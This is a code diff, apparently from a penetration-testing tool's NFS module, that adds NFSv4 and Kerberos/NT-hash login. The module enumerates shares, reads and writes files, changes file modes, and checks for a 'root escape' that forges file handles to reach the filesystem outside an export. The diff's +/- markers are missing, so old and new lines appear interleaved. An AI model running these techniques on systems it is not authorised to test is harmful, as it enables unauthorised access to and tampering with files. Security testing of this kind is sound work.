def create_conn_obj(self):
|
||||
"""Initializes and connects to the portmap and mounted folder"""
|
||||
"""Discover supported versions and connect the selected NFS client."""
|
||||
try:
|
||||
# Portmap Initialization
|
||||
self.portmap = Portmap(self.host, timeout=self.args.nfs_timeout)
|
||||
self.portmap.connect()
|
||||
|
||||
# Mount Initialization
|
||||
self.mnt_port = self.portmap.getport(Mount.program, Mount.program_version)
|
||||
self.mount = Mount(host=self.host, port=self.mnt_port, timeout=self.args.nfs_timeout, auth=self.auth)
|
||||
self.mount.connect()
|
||||
|
||||
# Change logging port to the NFS port
|
||||
self.port = self.mnt_port
|
||||
self.discovery = discover_nfs_versions(self.host, self.rpc_auth, self.args.port or 2049, self.args.nfs_timeout, 111)
|
||||
self.nfs_versions = self.discovery.supported
|
||||
if self.nfs_version is not None and self.nfs_version not in self.nfs_versions and not any(label == self.nfs_version or (self.nfs_version == "3" and (label == "rpcbind" or label.startswith("3@"))) for label, _ in self.discovery.inconclusive):
|
||||
raise ConnectionError(f"NFSv{self.nfs_version} is not supported by the target")
|
||||
if self.nfs_version is None:
|
||||
if not self.nfs_versions:
|
||||
raise ConnectionError("No supported NFS version discovered")
|
||||
self.nfs_version = "3" if "3" in self.nfs_versions else self.nfs_versions[-1]
|
||||
self.connect_nfs()
|
||||
self.proto_logger()
|
||||
except Exception as e:
|
||||
self.logger.info(f"Error during Initialization: {e}")
|
||||
@@ -123,46 +156,82 @@ class nfs(connection):
|
||||
return True
|
||||
|
||||
def enum_host_info(self):
|
||||
try:
|
||||
# Dump all registered programs
|
||||
programs = self.portmap.dump()
|
||||
|
||||
self.nfs_versions = set()
|
||||
for program in programs:
|
||||
if program["program"] == NFS_PROGRAM:
|
||||
self.nfs_versions.add(program["version"])
|
||||
except Exception as e:
|
||||
self.logger.fail(f"Error checking NFS version: {self.host} {e}")
|
||||
|
||||
# Connect to NFS
|
||||
try:
|
||||
nfs_port = self.portmap.getport(NFS_PROGRAM, NFS_V3)
|
||||
if nfs_port:
|
||||
self.nfs3 = NFSv3(self.host, nfs_port, self.args.nfs_timeout, self.auth)
|
||||
self.nfs3.connect()
|
||||
# Check if root escape is possible
|
||||
if NFS_V3 in self.nfs_versions:
|
||||
self.root_escape = self.try_root_escape()
|
||||
else:
|
||||
self.logger.debug("NFSv3 not supported, skipping root escape check")
|
||||
self.nfs3.disconnect()
|
||||
except Exception as e:
|
||||
self.logger.fail(f"Failed to connect to NFS3 host: {e}")
|
||||
|
||||
if not self.uses_kerberos():
|
||||
try:
|
||||
self.root_escape = self.try_root_escape()
|
||||
except Exception as e:
|
||||
self.logger.debug(f"Root escape check failed: {e}")
|
||||
self.root_escape = None
|
||||
self.db.add_host(self.host, self.hostname, self.port, self.nfs_versions, self.root_escape)
|
||||
|
||||
def print_host_info(self):
|
||||
root_escape_str = colored(f"root escape:{self.root_escape}", host_info_colors[1 if self.root_escape else 0], attrs=["bold"])
|
||||
self.logger.display(f"Supported NFS versions: ({', '.join(str(x) for x in self.nfs_versions)}) ({root_escape_str})")
|
||||
root_escape_str = colored(f"root escape:{'unknown' if self.root_escape is None else self.root_escape}", host_info_colors[1 if self.root_escape else 0], attrs=["bold"])
|
||||
self.logger.display(f"Supported NFS versions: ({', '.join(self.nfs_versions)}) NFSv{self.nfs_version} {self.args.nfs_auth} ({root_escape_str})")
|
||||
|
||||
def disconnect(self):
|
||||
"""Disconnect mount and portmap if they are connected"""
|
||||
"""Release the generic NFS client and its version-specific state."""
|
||||
try:
|
||||
self.mount.disconnect()
|
||||
self.portmap.disconnect()
|
||||
self.logger.info(f"Disconnect successful: {self.host}:{self.port}")
|
||||
if self.nfs is not None:
|
||||
self.nfs.disconnect()
|
||||
except Exception as e:
|
||||
self.logger.fail(f"Error during disconnect: {e}")
|
||||
else:
|
||||
self.logger.info(f"Disconnect successful: {self.host}:{self.port}")
|
||||
|
||||
def login(self):
|
||||
if not self.uses_kerberos():
|
||||
return True
|
||||
if self.args.use_kcache:
|
||||
return self.kerberos_login(self.args.domain, self.args.username[0] if self.args.username else "", kdcHost=self.args.kdcHost, useCache=True)
|
||||
if not self.args.username:
|
||||
self.logger.fail(f"{self.args.nfs_auth} requires credentials or --use-kcache")
|
||||
return False
|
||||
return super().login() or self.authenticated
|
||||
|
||||
def plaintext_login(self, domain, username, password):
|
||||
if not self.uses_kerberos():
|
||||
return True
|
||||
return self.kerberos_login(domain, username, password=password)
|
||||
|
||||
def hash_login(self, domain, username, ntlm_hash):
|
||||
if not self.uses_kerberos():
|
||||
self.logger.fail("NT hashes only apply to Kerberos NFS authentication")
|
||||
return False
|
||||
return self.kerberos_login(domain, username, ntlm_hash=ntlm_hash)
|
||||
|
||||
def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", kdcHost="", useCache=False):
|
||||
lmhash, nthash = ntlm_hash.split(":", 1) if ":" in ntlm_hash else ("", ntlm_hash)
|
||||
self.credentials = {
|
||||
"realm": domain,
|
||||
"username": username,
|
||||
"password": password,
|
||||
"lmhash": lmhash,
|
||||
"nthash": nthash,
|
||||
"aes_key": aesKey,
|
||||
"ccache": os.environ.get("KRB5CCNAME") if useCache else None,
|
||||
"use_cache": useCache,
|
||||
"kdc_host": kdcHost,
|
||||
"service": "nfs",
|
||||
}
|
||||
try:
|
||||
if self.nfs is not None:
|
||||
self.nfs.disconnect()
|
||||
self.nfs = None
|
||||
self.rpc_auth = None
|
||||
self.connect_nfs()
|
||||
self.nfs.establish_gss(KerberosInitiator(self.host, self.credentials), self.args.nfs_auth)
|
||||
self.rpc_auth = self.nfs.auth
|
||||
self.root_escape = self.try_root_escape()
|
||||
except Exception as e:
|
||||
self.logger.fail(f"{domain}\\{username} ({self.args.nfs_auth}): {e}")
|
||||
return False
|
||||
self.domain = domain
|
||||
self.username = username
|
||||
self.password = password
|
||||
self.authenticated = True
|
||||
self.db.add_host(self.host, self.hostname, self.port, self.nfs_versions, self.root_escape)
|
||||
self.logger.success(f"{domain}\\{username} ({self.args.nfs_auth})")
|
||||
return True
|
||||
|
||||
def list_dir(self, file_handle, path, recurse=1):
|
||||
"""Process entries in NFS directory recursively with UID autodection"""
|
||||
@@ -170,6 +239,8 @@ class nfs(connection):
|
||||
try:
|
||||
contents = []
|
||||
for entry in entries:
|
||||
if self.args.nfs_auth == "sys":
|
||||
self.auth.update(directory_auth)
|
||||
if "name" in entry and entry["name"] not in [b".", b".."]:
|
||||
item_path = f'{path}/{entry["name"].decode("utf-8")}' # Constructing file path
|
||||
if entry.get("name_attributes", {}).get("present", False):
|
||||
@@ -178,7 +249,7 @@ class nfs(connection):
|
||||
contents += self.list_dir(dir_handle, item_path, recurse=recurse - 1)
|
||||
else:
|
||||
file_handle = entry["name_handle"]["handle"]["data"]
|
||||
attrs = self.nfs3.getattr(file_handle, auth=self.auth)
|
||||
attrs = self.update_auth(file_handle)
|
||||
file_size = attrs["attributes"]["size"]
|
||||
file_size = convert_size(file_size)
|
||||
uid = attrs["attributes"]["uid"]
|
||||
@@ -189,135 +260,93 @@ class nfs(connection):
|
||||
# Processing next entries recursively
|
||||
contents += process_entries(entry["nextentry"], path, uid, recurse)
|
||||
|
||||
if self.args.nfs_auth == "sys":
|
||||
self.auth.update(directory_auth)
|
||||
return contents
|
||||
except Exception as e:
|
||||
self.logger.debug(f"Error on Listing Entries for NFS Shares: {self.host}:{self.port} {e}")
|
||||
|
||||
attrs = self.nfs3.getattr(file_handle, auth=self.auth)
|
||||
self.auth["uid"] = attrs["attributes"]["uid"]
|
||||
attrs = self.update_auth(file_handle)
|
||||
directory_auth = dict(self.auth)
|
||||
|
||||
if recurse == 0:
|
||||
read_perm, write_perm, exec_perm = self.get_permissions(file_handle)
|
||||
return [{"path": f"{path}/", "read": read_perm, "write": write_perm, "execute": exec_perm, "filesize": "-", "uid": self.auth["uid"]}]
|
||||
return [{"path": f"{path}/", "read": read_perm, "write": write_perm, "execute": exec_perm, "filesize": "-", "uid": attrs["attributes"]["uid"]}]
|
||||
|
||||
items = self.nfs3.readdirplus(file_handle, auth=self.auth)
|
||||
items = self.nfs.readdirplus(file_handle, auth=self.rpc_auth)
|
||||
if "resfail" in items:
|
||||
raise Exception("Insufficient Permissions")
|
||||
else:
|
||||
entries = items["resok"]["reply"]["entries"]
|
||||
|
||||
return process_entries(entries, path, self.auth["uid"], recurse)
|
||||
|
||||
def export_info(self, export_nodes):
|
||||
"""Enumerates all NFS shares and their access range"""
|
||||
networks = []
|
||||
for node in export_nodes:
|
||||
|
||||
# Collect the names of the groups associated with this export node
|
||||
group_names = self.group_names(node.ex_groups) or ["Everyone"]
|
||||
networks.append(group_names)
|
||||
|
||||
# If there are more export nodes, process them recursively. More than one share.
|
||||
if node.ex_next:
|
||||
networks.extend(self.export_info(node.ex_next))
|
||||
|
||||
return networks
|
||||
|
||||
def group_names(self, groups):
|
||||
"""Enumerates all access range of the share(s)"""
|
||||
result = []
|
||||
for group in groups:
|
||||
result.append(group.gr_name.decode())
|
||||
|
||||
# If there are more IP's, process them recursively.
|
||||
if group.gr_next:
|
||||
result.extend(self.group_names(group.gr_next))
|
||||
|
||||
return result
|
||||
return process_entries(entries, path, attrs["attributes"]["uid"], recurse)
|
||||
|
||||
def shares(self):
|
||||
self.logger.display("Enumerating NFS Shares")
|
||||
try:
|
||||
# Connect to NFS
|
||||
nfs_port = self.portmap.getport(NFS_PROGRAM, NFS_V3)
|
||||
self.nfs3 = NFSv3(self.host, nfs_port, self.args.nfs_timeout, self.auth)
|
||||
self.nfs3.connect()
|
||||
|
||||
output_export = str(self.mount.export())
|
||||
networks = self.export_info(self.mount.export())
|
||||
|
||||
reg = re.compile(r"ex_dir=b'([^']*)'") # Get share names
|
||||
shares = list(reg.findall(output_export))
|
||||
self.connect_nfs()
|
||||
|
||||
# Mount shares and check permissions
|
||||
self.logger.highlight(f"{'UID':<11}{'Perms':<9}{'Storage Usage':<17}{'Share':<30} {'Access List':<15}")
|
||||
self.logger.highlight(f"{'---':<11}{'-----':<9}{'-------------':<17}{'-----':<30} {'-----------':<15}")
|
||||
for share, network in zip(shares, networks, strict=True):
|
||||
self.logger.highlight(f"{'UID':<11} {'Perms':<9}{'Storage Usage':<17}{'Share':<30} {'Access List':<15}")
|
||||
self.logger.highlight(f"{'---':<11} {'-----':<9}{'-------------':<17}{'-----':<30} {'-----------':<15}")
|
||||
for share, network in self.nfs.exports():
|
||||
try:
|
||||
mnt_info = self.mount.mnt(share, self.auth)
|
||||
mnt_info = self.nfs.root_handle(share)
|
||||
self.logger.debug(f"Mounted {share} - {mnt_info}")
|
||||
if mnt_info["status"] != 0:
|
||||
self.logger.debug(f"Error mounting share {share}: {NFSSTAT3[mnt_info['status']]}")
|
||||
self.logger.debug(f"Error mounting share {share}: {self.nfs.status_name(mnt_info['status'])}")
|
||||
self.logger.highlight(f"{'-':<11}{'---':<9}{'---'}/{'---':<12} {share:<30} {', '.join(network) if network else 'No network':<15}")
|
||||
else:
|
||||
file_handle = mnt_info["mountinfo"]["fhandle"]
|
||||
|
||||
info = self.nfs3.fsstat(file_handle, self.auth)
|
||||
info = self.nfs.fsstat(file_handle, auth=self.rpc_auth)
|
||||
free_space = info["resok"]["fbytes"]
|
||||
total_space = info["resok"]["tbytes"]
|
||||
used_space = total_space - free_space
|
||||
|
||||
# Autodetectting the uid needed for the share
|
||||
attrs = self.nfs3.getattr(file_handle, auth=self.auth)
|
||||
self.auth["uid"] = attrs["attributes"]["uid"]
|
||||
attrs = self.update_auth(file_handle)
|
||||
|
||||
read_perm, write_perm, exec_perm = self.get_permissions(file_handle)
|
||||
self.mount.umnt(self.auth)
|
||||
self.nfs.unmount()
|
||||
self.db.add_share(self.host, (read_perm, write_perm, exec_perm), (convert_size(used_space), "/", convert_size(total_space)), share, network)
|
||||
self.logger.highlight(f"{self.auth['uid']:<11}{'r' if read_perm else '-'}{'w' if write_perm else '-'}{('x' if exec_perm else '-'):<7}{convert_size(used_space) + '/' + convert_size(total_space):<16} {share:<30} {', '.join(network) if network else 'No network':<15}")
|
||||
self.logger.highlight(f"{attrs['attributes']['uid']:<11} {'r' if read_perm else '-'}{'w' if write_perm else '-'}{('x' if exec_perm else '-'):<7}{convert_size(used_space) + '/' + convert_size(total_space):<16} {share:<30} {', '.join(network) if network else 'No network':<15}")
|
||||
except Exception as e:
|
||||
self.logger.fail(f"Failed to list share: {share} - {e}")
|
||||
|
||||
except Exception as e:
|
||||
self.logger.fail(f"Error on Enumeration NFS Shares: {self.host}:{self.port} {e}")
|
||||
finally:
|
||||
self.nfs3.disconnect()
|
||||
|
||||
def get_permissions(self, file_handle):
|
||||
"""Check permissions for the file handle"""
|
||||
try:
|
||||
read_perm = self.nfs3.access(file_handle, ACCESS3_READ, self.auth).get("resok", {}).get("access", 0) is ACCESS3_READ
|
||||
except Exception:
|
||||
read_perm = self.nfs.access(file_handle, ACCESS3_READ, auth=self.rpc_auth).get("resok", {}).get("access", 0) == ACCESS3_READ
|
||||
except Exception as e:
|
||||
self.logger.debug(f"NFS read access check failed: {e}")
|
||||
read_perm = False
|
||||
try:
|
||||
write_perm = self.nfs3.access(file_handle, ACCESS3_MODIFY, self.auth).get("resok", {}).get("access", 0) is ACCESS3_MODIFY
|
||||
except Exception:
|
||||
write_perm = self.nfs.access(file_handle, ACCESS3_MODIFY, auth=self.rpc_auth).get("resok", {}).get("access", 0) == ACCESS3_MODIFY
|
||||
except Exception as e:
|
||||
self.logger.debug(f"NFS write access check failed: {e}")
|
||||
write_perm = False
|
||||
try:
|
||||
exec_perm = self.nfs3.access(file_handle, ACCESS3_EXECUTE, self.auth).get("resok", {}).get("access", 0) is ACCESS3_EXECUTE
|
||||
except Exception:
|
||||
exec_perm = self.nfs.access(file_handle, ACCESS3_EXECUTE, auth=self.rpc_auth).get("resok", {}).get("access", 0) == ACCESS3_EXECUTE
|
||||
except Exception as e:
|
||||
self.logger.debug(f"NFS execute access check failed: {e}")
|
||||
exec_perm = False
|
||||
return read_perm, write_perm, exec_perm
|
||||
|
||||
def enum_shares(self):
|
||||
try:
|
||||
nfs_port = self.portmap.getport(NFS_PROGRAM, NFS_V3)
|
||||
self.nfs3 = NFSv3(self.host, nfs_port, self.args.nfs_timeout, self.auth)
|
||||
self.nfs3.connect()
|
||||
|
||||
# Mounting NFS Shares
|
||||
output_export = str(self.mount.export())
|
||||
reg = re.compile(r"ex_dir=b'([^']*)'")
|
||||
shares = list(reg.findall(output_export))
|
||||
networks = self.export_info(self.mount.export())
|
||||
self.connect_nfs()
|
||||
|
||||
self.logger.display("Enumerating NFS Shares Directories")
|
||||
for share, network in zip(shares, networks, strict=True):
|
||||
for share, network in self.nfs.exports():
|
||||
try:
|
||||
mount_info = self.mount.mnt(share, self.auth)
|
||||
mount_info = self.nfs.root_handle(share)
|
||||
self.logger.debug(f"Mounted {share} - {mount_info}")
|
||||
if mount_info["status"] != 0:
|
||||
self.logger.fail(f"Error mounting share {share}: {NFSSTAT3[mount_info['status']]}")
|
||||
self.logger.fail(f"Error mounting share {share}: {self.nfs.status_name(mount_info['status'])}")
|
||||
continue
|
||||
|
||||
fhandle = mount_info["mountinfo"]["fhandle"]
|
||||
@@ -325,10 +354,10 @@ class nfs(connection):
|
||||
|
||||
self.logger.success(share)
|
||||
if contents:
|
||||
self.logger.highlight(f"{'UID':<11}{'Perms':<9}{'File Size':<15}{'File Path':<45} {'Access List':<15}")
|
||||
self.logger.highlight(f"{'---':<11}{'-----':<9}{'---------':<15}{'---------':<45} {'-----------':<15}")
|
||||
self.logger.highlight(f"{'UID':<11} {'Perms':<9}{'File Size':<15}{'File Path':<45} {'Access List':<15}")
|
||||
self.logger.highlight(f"{'---':<11} {'-----':<9}{'---------':<15}{'---------':<45} {'-----------':<15}")
|
||||
for content in contents:
|
||||
self.logger.highlight(f"{content['uid']:<11}{'r' if content['read'] else '-'}{'w' if content['write'] else '-'}{'x' if content['execute'] else '-':<7}{content['filesize']:<14} {content['path']:<45} {', '.join(network) if network else 'No network':<15}")
|
||||
self.logger.highlight(f"{content['uid']:<11} {'r' if content['read'] else '-'}{'w' if content['write'] else '-'}{'x' if content['execute'] else '-':<7}{content['filesize']:<14} {content['path']:<45} {', '.join(network) if network else 'No network':<15}")
|
||||
except Exception as e:
|
||||
if "RPC_AUTH_ERROR: AUTH_REJECTEDCRED" in str(e):
|
||||
self.logger.fail(f"{share} - RPC Access denied")
|
||||
@@ -341,8 +370,6 @@ class nfs(connection):
|
||||
except Exception as e:
|
||||
self.logger.debug(f"Error on Listing NFS Shares Directories: {self.host}:{self.port} {e}")
|
||||
self.logger.debug("It is probably unknown format or can not access as anonymously.")
|
||||
finally:
|
||||
self.nfs3.disconnect()
|
||||
|
||||
def get_file(self):
|
||||
"""Downloads a file from the NFS share"""
|
||||
@@ -356,30 +383,18 @@ class nfs(connection):
|
||||
|
||||
self.logger.display(f"Downloading {remote_file_path} to {local_file_path}")
|
||||
try:
|
||||
# Connect to NFS
|
||||
nfs_port = self.portmap.getport(NFS_PROGRAM, NFS_V3)
|
||||
self.nfs3 = NFSv3(self.host, nfs_port, self.args.nfs_timeout, self.auth)
|
||||
self.nfs3.connect()
|
||||
self.connect_nfs()
|
||||
|
||||
# Mount the NFS share or get the root handle
|
||||
if self.root_escape and not self.args.share:
|
||||
mount_fh = self.escape_fh
|
||||
elif not self.args.share:
|
||||
self.logger.fail("No root escape possible, please specify a share")
|
||||
mount_fh = self.selected_root_handle()
|
||||
if mount_fh is None:
|
||||
return
|
||||
else:
|
||||
mnt_info = self.mount.mnt(self.args.share, self.auth)
|
||||
if mnt_info["status"] != 0:
|
||||
self.logger.fail(f"Error mounting share {self.args.share}: {NFSSTAT3[mnt_info['status']]}")
|
||||
return
|
||||
mount_fh = mnt_info["mountinfo"]["fhandle"]
|
||||
|
||||
# Iterate over the path until we hit the file
|
||||
curr_fh = mount_fh
|
||||
for sub_path in remote_file_path.lstrip("/").split("/"):
|
||||
# Update the UID for the next object and get the handle
|
||||
self.update_auth(curr_fh)
|
||||
res = self.nfs3.lookup(curr_fh, sub_path, auth=self.auth)
|
||||
res = self.nfs.lookup(curr_fh, sub_path, auth=self.rpc_auth)
|
||||
|
||||
# Check for a bad path
|
||||
if "resfail" in res and res["status"] == NFS3ERR_NOENT:
|
||||
@@ -401,7 +416,7 @@ class nfs(connection):
|
||||
# Loop until we have read the entire file
|
||||
with open(local_file_path, "wb+") as local_file:
|
||||
while not eof:
|
||||
file_data = self.nfs3.read(curr_fh, offset, auth=self.auth)
|
||||
file_data = self.nfs.read(curr_fh, offset, auth=self.rpc_auth)
|
||||
|
||||
if "resfail" in file_data:
|
||||
raise Exception("Insufficient Permissions")
|
||||
@@ -419,7 +434,7 @@ class nfs(connection):
|
||||
self.logger.highlight(f"File successfully downloaded from {remote_file_path} to {local_file_path}")
|
||||
|
||||
# Unmount the share
|
||||
self.mount.umnt(self.auth)
|
||||
self.nfs.unmount()
|
||||
except Exception as e:
|
||||
self.logger.fail(f'Error retrieving file "{file_name}" from "{remote_dir_path}": {e}')
|
||||
if os.path.exists(local_file_path) and os.path.getsize(local_file_path) == 0:
|
||||
@@ -442,37 +457,25 @@ class nfs(connection):
|
||||
|
||||
self.logger.display(f"Uploading from {local_file_path} to {remote_file_path}")
|
||||
try:
|
||||
# Connect to NFS
|
||||
nfs_port = self.portmap.getport(NFS_PROGRAM, NFS_V3)
|
||||
self.nfs3 = NFSv3(self.host, nfs_port, self.args.nfs_timeout, self.auth)
|
||||
self.nfs3.connect()
|
||||
self.connect_nfs()
|
||||
|
||||
# Mount the NFS share or get the root handle
|
||||
if self.root_escape and not self.args.share:
|
||||
mount_fh = self.escape_fh
|
||||
elif not self.args.share:
|
||||
self.logger.fail("No root escape possible, please specify a share")
|
||||
mount_fh = self.selected_root_handle()
|
||||
if mount_fh is None:
|
||||
return
|
||||
else:
|
||||
mnt_info = self.mount.mnt(self.args.share, self.auth)
|
||||
if mnt_info["status"] != 0:
|
||||
self.logger.fail(f"Error mounting share {self.args.share}: {NFSSTAT3[mnt_info['status']]}")
|
||||
return
|
||||
mount_fh = mnt_info["mountinfo"]["fhandle"]
|
||||
|
||||
# Iterate over the path
|
||||
curr_fh = mount_fh
|
||||
# If target dir is "" or "/" without filter we would get one item with [""]
|
||||
for sub_path in list(filter(None, remote_dir_path.lstrip("/").split("/"))):
|
||||
self.update_auth(curr_fh)
|
||||
res = self.nfs3.lookup(curr_fh, sub_path, auth=self.auth)
|
||||
res = self.nfs.lookup(curr_fh, sub_path, auth=self.rpc_auth)
|
||||
|
||||
# If the path does not exist, create it
|
||||
if "resfail" in res and res["status"] == NFS3ERR_NOENT:
|
||||
self.logger.display(f"Creating directory '/{sub_path}/'")
|
||||
res = self.nfs3.mkdir(curr_fh, sub_path, 0o777, auth=self.auth)
|
||||
res = self.nfs.mkdir(curr_fh, sub_path, 0o777, auth=self.rpc_auth)
|
||||
if res["status"] != 0:
|
||||
self.logger.fail(f"Error creating directory '/{sub_path}/': {NFSSTAT3[res['status']]}")
|
||||
self.logger.fail(f"Error creating directory '/{sub_path}/': {self.nfs.status_name(res['status'])}")
|
||||
return
|
||||
else:
|
||||
curr_fh = res["resok"]["obj"]["handle"]["data"]
|
||||
@@ -484,18 +487,18 @@ class nfs(connection):
|
||||
self.update_auth(curr_fh)
|
||||
|
||||
# Checking if file_name already exists on remote file path
|
||||
lookup_response = self.nfs3.lookup(curr_fh, file_name, auth=self.auth)
|
||||
lookup_response = self.nfs.lookup(curr_fh, file_name, auth=self.rpc_auth)
|
||||
open_auth = self.auth_snapshot(self.rpc_auth)
|
||||
|
||||
# If success, file_name does not exist on remote machine. Else, trying to overwrite it.
|
||||
if lookup_response["resok"] is None:
|
||||
# Create file
|
||||
self.logger.display(f"Trying to create {remote_file_path}")
|
||||
res = self.nfs3.create(curr_fh, file_name, create_mode=1, mode=0o777, auth=self.auth)
|
||||
res = self.nfs.create(curr_fh, file_name, create_mode=1, mode=0o777, auth=open_auth)
|
||||
if res["status"] != 0:
|
||||
raise Exception(NFSSTAT3[res["status"]])
|
||||
raise Exception(self.nfs.status_name(res["status"]))
|
||||
else:
|
||||
file_handle = res["resok"]["obj"]["handle"]["data"]
|
||||
self.update_auth(file_handle)
|
||||
self.logger.success(f"'{file_name}' successfully created")
|
||||
else:
|
||||
# Asking the user if they want to overwrite the file
|
||||
@@ -506,34 +509,39 @@ class nfs(connection):
|
||||
else:
|
||||
return
|
||||
|
||||
# Update the UID and GID for the file
|
||||
self.update_auth(file_handle)
|
||||
|
||||
# Use wtpref as the chunk size
|
||||
res = self.nfs3.fsinfo(file_handle, auth=self.auth)
|
||||
if res["status"] != 0:
|
||||
self.logger.fail(f"Error getting FSINFO for {remote_file_path}: {NFSSTAT3[res['status']]}")
|
||||
return
|
||||
chunk_size = res["resok"]["wtpref"]
|
||||
|
||||
self.logger.display(f"Transferring data from '{local_file_path}' to '{remote_file_path}'")
|
||||
try:
|
||||
offset = 0
|
||||
with open(local_file_path, "rb") as file:
|
||||
while chunk := file.read(chunk_size):
|
||||
# Write the data to the remote file
|
||||
res = self.nfs3.write(file_handle, offset, len(chunk), chunk, 1, auth=self.auth)
|
||||
if res["status"] != 0:
|
||||
self.logger.fail(f"Error writing to '{remote_file_path}': {NFSSTAT3[res['status']]}")
|
||||
return
|
||||
offset += len(chunk)
|
||||
# Update the UID and GID for the file without changing the identity used by NFSv4 OPEN state.
|
||||
self.update_auth(file_handle)
|
||||
|
||||
self.logger.success(f"Data from '{local_file_path}' successfully written to '{remote_file_path}' with permissions 777")
|
||||
except Exception as e:
|
||||
self.logger.fail(f"Could not write to '{local_file_path}': {e}")
|
||||
# Use wtpref as the chunk size
|
||||
res = self.nfs.fsinfo(file_handle, auth=self.rpc_auth)
|
||||
if res["status"] != 0:
|
||||
self.logger.fail(f"Error getting FSINFO for {remote_file_path}: {self.nfs.status_name(res['status'])}")
|
||||
return
|
||||
chunk_size = res["resok"]["wtpref"]
|
||||
|
||||
self.logger.display(f"Transferring data from '{local_file_path}' to '{remote_file_path}'")
|
||||
try:
|
||||
offset = 0
|
||||
with open(local_file_path, "rb") as file:
|
||||
while chunk := file.read(chunk_size):
|
||||
# Write the data to the remote file
|
||||
res = self.nfs.write(file_handle, offset, len(chunk), chunk, 1, auth=open_auth)
|
||||
if res["status"] != 0:
|
||||
self.logger.fail(f"Error writing to '{remote_file_path}': {self.nfs.status_name(res['status'])}")
|
||||
return
|
||||
offset += len(chunk)
|
||||
|
||||
self.logger.success(f"Data from '{local_file_path}' successfully written to '{remote_file_path}' with permissions 777")
|
||||
except Exception as e:
|
||||
self.logger.fail(f"Could not write to '{local_file_path}': {e}")
|
||||
finally:
|
||||
response = self.nfs.close(file_handle, auth=open_auth)
|
||||
if response["status"] != 0:
|
||||
self.logger.fail(f"Error closing '{remote_file_path}': {self.nfs.status_name(response['status'])}")
|
||||
|
||||
# Unmount the share
|
||||
self.mount.umnt(self.auth)
|
||||
self.nfs.unmount()
|
||||
except Exception as e:
|
||||
self.logger.fail(f"Error writing file to share {remote_file_path}: {e}")
|
||||
else:
|
||||
@@ -541,23 +549,11 @@ class nfs(connection):
|
||||
|
||||
def chmod(self):
|
||||
try:
|
||||
# Connect to NFS
|
||||
nfs_port = self.portmap.getport(NFS_PROGRAM, NFS_V3)
|
||||
self.nfs3 = NFSv3(self.host, nfs_port, self.args.nfs_timeout, self.auth)
|
||||
self.nfs3.connect()
|
||||
self.connect_nfs()
|
||||
|
||||
# Mount the NFS share or get the root handle
|
||||
if self.root_escape and not self.args.share:
|
||||
mount_fh = self.escape_fh
|
||||
elif not self.args.share:
|
||||
self.logger.fail("No root escape possible, please specify a share")
|
||||
mount_fh = self.selected_root_handle()
|
||||
if mount_fh is None:
|
||||
return
|
||||
else:
|
||||
mnt_info = self.mount.mnt(self.args.share, self.auth)
|
||||
if mnt_info["status"] != 0:
|
||||
self.logger.fail(f"Error mounting share {self.args.share}: {NFSSTAT3[mnt_info['status']]}")
|
||||
return
|
||||
mount_fh = mnt_info["mountinfo"]["fhandle"]
|
||||
|
||||
# Iterate over the path
|
||||
curr_fh = mount_fh
|
||||
@@ -568,7 +564,7 @@ class nfs(connection):
|
||||
# If target dir is "" or "/" without filter we would get one item with [""]
|
||||
for sub_path in list(filter(None, file_path.lstrip("/").split("/"))):
|
||||
self.update_auth(curr_fh)
|
||||
res = self.nfs3.lookup(curr_fh, sub_path, auth=self.auth)
|
||||
res = self.nfs.lookup(curr_fh, sub_path, auth=self.rpc_auth)
|
||||
|
||||
# If the path does not exist, create it
|
||||
if "resfail" in res and res["status"] == NFS3ERR_NOENT:
|
||||
@@ -580,16 +576,16 @@ class nfs(connection):
|
||||
self.update_auth(curr_fh)
|
||||
|
||||
# Checking if file_name already exists on remote file path
|
||||
lookup_response = self.nfs3.lookup(curr_fh, file_name, auth=self.auth)
|
||||
lookup_response = self.nfs.lookup(curr_fh, file_name, auth=self.rpc_auth)
|
||||
|
||||
if "resfail" in lookup_response and lookup_response["status"] == NFS3ERR_NOENT:
|
||||
self.logger.fail(f"File '{file_name}' does not exist on path '{file_path}/'")
|
||||
return
|
||||
|
||||
current_privs = self.nfs3.getattr(lookup_response["resok"]["object"]["data"], auth=self.auth)["attributes"]["mode"]
|
||||
res = self.nfs3.setattr(lookup_response["resok"]["object"]["data"], mode=privs, auth=self.auth)
|
||||
current_privs = self.nfs.getattr(lookup_response["resok"]["object"]["data"], auth=self.rpc_auth)["attributes"]["mode"]
|
||||
res = self.nfs.setattr(lookup_response["resok"]["object"]["data"], mode=privs, auth=self.rpc_auth)
|
||||
if "resfail" in res:
|
||||
self.logger.fail(f"Failed to change permissions for '{filepath}': {NFSSTAT3[res['status']]}")
|
||||
self.logger.fail(f"Failed to change permissions for '{filepath}': {self.nfs.status_name(res['status'])}")
|
||||
else:
|
||||
self.logger.success(f"Permissions for '{filepath}' successfully changed from {format(current_privs, 'o')} to {format(privs, 'o')}")
|
||||
except Exception as e:
|
||||
@@ -611,12 +607,12 @@ class nfs(connection):
|
||||
"""
|
||||
# First enumerate the directory and try to find a file/dir that contains the fid_type (4th position: handle[3])
|
||||
# See: https://elixir.bootlin.com/linux/v6.13.4/source/include/linux/exportfs.h#L25
|
||||
dir_data = self.format_directory(self.nfs3.readdirplus(mount_fh, auth=self.auth))
|
||||
dir_data = self.format_directory(self.nfs.readdirplus(mount_fh, auth=self.rpc_auth))
|
||||
filesystem = FileID.unknown
|
||||
for entry in dir_data:
|
||||
# Check if "." is already the root directory
|
||||
if entry["name"] == b".":
|
||||
if entry["name_handle"]["handle"]["data"][0] in [b"\x02", b"\x80"]:
|
||||
if entry["name_handle"]["handle"]["data"][0] in [2, 0x80]:
|
||||
self.logger.debug("Exported share is already the root directory")
|
||||
return [entry["name_handle"]["handle"]["data"]]
|
||||
elif entry["name"] == b"..":
|
||||
@@ -635,8 +631,12 @@ class nfs(connection):
|
||||
self.logger.debug(f"Filesystem type: {filesystem}")
|
||||
|
||||
# Generate the root handle depending on the filesystem type and preserve the file_id (respect the length)
|
||||
if len(mount_fh) < 4 or mount_fh[2] not in fsid_lens:
|
||||
return []
|
||||
fh_fsid_type = mount_fh[2]
|
||||
fh_fsid_len = fsid_lens[fh_fsid_type]
|
||||
if len(mount_fh) < 4 + fh_fsid_len:
|
||||
return []
|
||||
root_handles = []
|
||||
|
||||
# Generate possible root handles
|
||||
@@ -649,12 +649,12 @@ class nfs(connection):
|
||||
if filesystem in [FileID.btrfs, FileID.unknown]:
|
||||
# Iterate over btrfs subvolumes, use 16 as default similar to the guys from nfs-security-tooling
|
||||
for i in range(16):
|
||||
subvolume = int.to_bytes(i) + b"\x01\x00\x00"
|
||||
